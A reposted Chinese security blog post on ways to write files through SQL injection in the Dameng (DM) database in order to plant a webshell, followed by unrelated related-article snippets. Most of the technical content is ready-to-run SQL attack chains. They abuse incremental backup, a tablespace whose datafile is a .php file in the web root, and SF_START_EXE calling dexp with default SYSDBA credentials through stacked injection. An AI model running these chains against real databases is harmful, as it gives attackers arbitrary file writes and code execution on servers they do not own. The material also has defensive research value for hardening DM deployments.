【DMSQL系列】 达梦数据库写文件的方式探索

news/2025/1/12 13:52:20/文章来源:https://www.cnblogs.com/o-O-oO/p/18666915

前沿

这篇文章整体算是🧲【DMSQL系列】SQL注入小记 的续集,达梦作为国内优秀的信创数据库,在关基单位中拥有越来越大的用户使用量。

通过SQL注入来写文件一直以来都是SQL注入漏洞深入利用的一种方式,对于不同的数据库通常写文件的方式也是不一样的。
通过笔者的探索发现,达梦数据库(以后简称DMSQL)写文件的方式也与其它数据库存在较大的差异。

DMSQL默认情况下是支持堆叠注入的(笔者试了官方给的java版本的SDK,其它版本未尝试),也就是说在注入的时候支持多语句,支持多语句为攻击者提供了对SQL注入漏洞进行深入利用的遐想,也使得本文利用DMSQL写文件的研究具有实际意义。

探索

熟悉渗透的小伙伴都会有一些通过SQL注入写文件的技巧,我们首先通过两种经典的写文件方式来探索达梦写文件的不同。

1、通过into outfile方式写文件

在MySQL数据库中可以通过经典的into outfile来把查询结果保存在文件中,但是在DMSQL中并没有相应的语法,也没有into dumpfile的语法,如下图所示:

2、通过backup database方式写文件

在MSSQL数据库中可以通过备份的方式来写文件,而且在DMSQL中也存在相似的语法,如下图所示:


本以为应该是以与MSSQL相似的手法就可以直接备份写文件,但在实际使用过程中发现并非如此,DM数据库默认是不允许进行备份的,必须首先开启归档模式才能进行备份。

在默认安装的DM数据库中,要通过备份数据库的功能实现文件写入,完整的代码如下:

-- 使数据库转变为OPEN模式
alter database open; 
-- 先完整的对数据 进行一次备份,目录不存在会自动创建
backup database backupset 'C:\phpstudy_pro\WWW\xxx\';
-- 新建一张表并向表中写入一条带有webshell的数据。其中DEM换成实际可以建表的库名
CREATE TABLE "DEM"."EXP14"
(
"id" INTEGER NOT NULL,
"name" VARCHAR(50),
"content" VARCHAR(50)) STORAGE(ON "MAIN", CLUSTERBTR) ;
insert into "DEM"."EXP14" values(1,'aaa', '<?php phpinfo(); ?>');
-- 增量备份,,并定义保存文件路径和调试文件路径
BACKUP DATABASE increment BACKUPSET 'C:\phpstudy_pro\WWW\121.php' TRACE FILE  'C:\phpstudy_pro\WWW\213.php' TRACE LEVEL 2;

使用上面的代码可以在系统上生成文件,由于DM备份时可以指定保存文件的路径,生成的文件名和路径有关,整体文件目录结构如下:

121.php  (目录)
121.php.bak (文件)
121.php.meta (文件)
121.php_1.bak (文件)
213.php (文件)

这里面C:\phpstudy_pro\WWW\121.php\121.php.bak文件中保存了备份表中内容信息,如果系统本身存在解析漏洞,可以通过这种方式来达到getshell的效果。

C:\phpstudy_pro\WWW\213.php文件中保存了备份过程日志信息,虽然文件名可以自定义,但是内容并不能任意控制,导致并不能通过TRACE FILE来getshell。

通过backup语句来写文件并不能完整的控制文件名和文件内容,导致只能在特定场景下可以使用,并不是一个好的写文件思路。

3、通过自定义命名空间来写文件

创建表空间(tablespace)是为了更好地管理数据库的物理存储结构。不同的表空间可以存储在不同的磁盘上,有助于优化I/O性能,同时也可以实现数据的逻辑分组。目前许多数据库包括oracle、postgreSQL等都支持自定义表空间,达梦也支持自定义表空间,可以通过此种方式来写文件,具体的写法如下:

-- 创建表空间,自定义表空间保存的文件路径和名字
create tablespace "xiao3" datafile 'C:\phpstudy_pro\WWW\xiao3.php' size 32;
-- 向自定义的表空间创建一张表,并插入带webshell的内容
CREATE TABLE "DEM"."EXP15"
(
"id" INTEGER NOT NULL,
"name" VARCHAR(50),
"content" VARCHAR(50)) STORAGE(ON "xiao3", CLUSTERBTR);
insert into "DEM"."EXP15" values(1,'aaa', '<?php phpinfo(); ?>');

访问生成的C:\phpstudy_pro\WWW\xiao3.php文件,可以实现代码解析。

通过自定义命名空间的方式来写文件可以实现完全自主可控的文件名和文件内容,对用户权限要求也不是很高,但是缺点是文件太大(我默认安装的DM,最小的文件是32M)。

本以为通过这种方式就可以在存在SQL注入漏洞的点通过自定义命名空间来达到任意文件写入的效果,但在实际的环境中遇到了报错“语句类型不匹配”。

这主要是因为针对不同类型的SQL语句,通常需要调用不同的方法来执行,在Java语言中,DM通过dm.jdbc.driver.DmdbStatement类提供数据操作方法。

方法 作用 示例
executeQuery 执行查询类语句,返回相应查询结果 SELECT * FROM users WHERE "id"=1
executeUpdate 执行修改类语句,返回是否修改成功 UPDATE users SET "name"=’xxx’ where "id"=1
execute 执行所有SQL语句,返回语句是否执行成功 CREATE TABLESPACE "namex" DATAFILE ‘/dbms/namex’ SIZE 32

从上表可以看出一般系统中存在的SQL注入漏洞是在executeQuery方法中,通过这个方法传入自定义命名空间的SQL语句,则会报“语句类型不匹配”的异常,导致写文件失败。

4、通过dexp文件导出方式写文件

dexp是DM官方提供的文件导出的命令行工具,如下图所示。dexp提供了可以把数据表导出成本地文件的功能,并支持自定义导出的文件名。

本来dexp是命令行的工具,在DM数据库SQL语句中并不能直接使用,但是DM提供了预定义的函数SF_START_EXE可以调用dexp方法,使用方法如下所示:


SF_START_EXE('dexp', 'SYSDBA/SYSDBA@127.0.0.1:5236 FILE=mi.php DIRECTORY=C:\tmp\ TABLES=EXY.EXP',0,'/');TABLES=EXY.EXP 代表可控内容的一张表,表中包含有webshell信息
FILE=mi.php 自定义文件名
DIRECTORY=C:\tmp\ 自定义文件路径
SYSDBA/SYSDBA@127.0.0.1:5236 DM数据库地址端口及对应的账号密码

模拟在executeQuery方法中存在的SQL注入漏洞,通过堆叠注入调用SF_START_EXE方法来写文件,如下图所示:

通过SF_START_EXE来写文件不会触发“语句类型不匹配”的问题,并且支持完全可控的自定义文件名和路径,是目前为止最好用的通过DM数据库SQL注入来写文件的方式之一。

总结

DM数据库本身提供了很多写文件的方式,但是能在实际攻击场景中使用的写文件方法并不多。目前关于DM数据库特性研究的文章还不是很多,SF_START_EXE是目前笔者实际测试中最好用的方法。

原创 烽火台实验室

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/868173.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis-shake工具同步redis数据

一、我的使用场景说明 1.业务场景由于业务要求,redis服务器迁移,将A服务器redis(单机)数据迁移到B服务器的redis(单机)上,只迁移5库数据,选择工具的原因是:B服务器上redis其他库都有数据,不能直接迁移A服务器redis的rdb或aof持久化文件 redis都是单机、6.0.2版本 red…

网站热门视频无法播放,如何解决?

针对您提到的网站热门视频无法播放的问题,我们可以从多个角度进行排查和解决。以下是一些建议,希望能帮助您快速找到问题所在并恢复正常播放功能。检查视频文件完整性:首先,请确认视频文件是否完整上传到了服务器。有时候由于网络波动或其他原因,可能导致文件传输过程中出…

服务器连接不上,如何排查和解决?

当您遇到服务器连接不上的问题时,首先需要明确具体的症状和环境。以下是详细的排查步骤和解决方案:确认网络连接:检查本地网络是否正常工作,尝试访问其他网站或服务,确保不是本地网络问题。 使用 ping 或 traceroute 命令测试与目标服务器的连通性。如果无法 ping 通,可能…

绑定域名后访问需输入账号密码,且静态资源跳转至缓存地址,如何处理?

当您绑定域名后访问网站时遇到需要输入账号密码以及静态资源跳转至缓存地址的问题,可能是由以下几种原因引起的。以下是详细的排查步骤和解决方案:确认身份验证设置:检查 Web 服务器(如 Apache、Nginx)的配置文件,确保没有启用不必要的身份验证机制。例如,Apache 的 .ht…

解决服务器卡顿及响应缓慢的问题

问题描述: 用户反映其服务器在迁移后出现了严重的卡顿现象,尤其是在执行某些特定操作(如批量打印快递单、查询会员列表)时,响应时间长达十几秒甚至二十多秒。这种情况严重影响了用户体验和工作效率。 解决方案:分析性能瓶颈:首先,使用性能分析工具(如top、htop、iosta…

解决FTP类问题:无法上传或下载文件

问题描述: 用户报告称其FTP账户虽然可以成功连接到服务器,但在尝试上传或下载文件时却失败了。这种情况严重影响了文件管理和更新工作,需要找出根本原因并解决。 解决方案:检查FTP权限设置:首先,确认FTP用户的权限是否足够。对于大多数FTP服务器,默认情况下用户具有读写…

如何解决网站伪静态设置后首页正常但其他页面404的问题

在配置伪静态规则后遇到了首页可以正常访问,但其他页面显示404错误的问题。这种情况通常与伪静态规则的配置、服务器环境或文件路径有关。以下是详细的排查步骤和解决方案:检查伪静态规则配置:确认伪静态规则是否正确配置。伪静态规则通常位于.htaccess(Apache服务器)或we…

9.水卡研究

学习资源:【【教程】手把手教你玩转IC卡-第1章-第1节-基础知识】https://www.bilibili.com/video/BV1QF411r7mw?vd_source=3e114458cfb3d0f9ecfb71a4c76c2465试验对象是本人大学水卡,因为是加密卡,需要嗅探,得要学校取水器,现在哩寒假在家,去嗅探,得开学了。 目前,就打…

ZIP伪加密解析

ZIP伪加密解析 1、zip组成 一个 ZIP 文件由三个部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。 一个zip文件由这样三个部分组成_zip 文件结构_一只独孤的程序猿的博客-CSDN博客 2、实例压缩源文件数据区: 50 4B 03 04:这是头文件标记(0x04034b50) …

国内云服务器怎么选

前言 作为一名个人开发者,无论是搭建网站、编写小程序,还是运行脚本,我几乎离不开云服务器。回想从大学时期开始接触服务器,到如今进入职场,已累积了近十年的使用经验。从最初的“乞丐版”1核0.5G服务器,到如今的“土豪版”8核16G云服务器,再到云数据库、云Redis、云存储…

如何解决网站模板无法更新及后台操作异常的问题

您好,根据您的描述,您遇到了以下两个主要问题:网站模板无法更新,即使删除旧模板并上传新模板后,仍然显示旧模板。 登录网站后台后,部分系统板块无法点击,且栏目内容混乱。为了解决这些问题,请按照以下步骤进行排查和处理: 一、网站模板无法更新清除浏览器缓存浏览器缓…

如何安全有效地修改网站后台代码而不影响正常运行

问题描述: 用户希望能够安全有效地修改网站后台代码,但又担心会因为不当操作而导致网站无法正常运行。因此,他们寻求一种既能够实现定制化开发又能保证系统稳定性的方法。 回答: 当涉及到网站后台代码的修改时,确保安全性和稳定性是非常重要的。下面是一些实用的建议和最佳…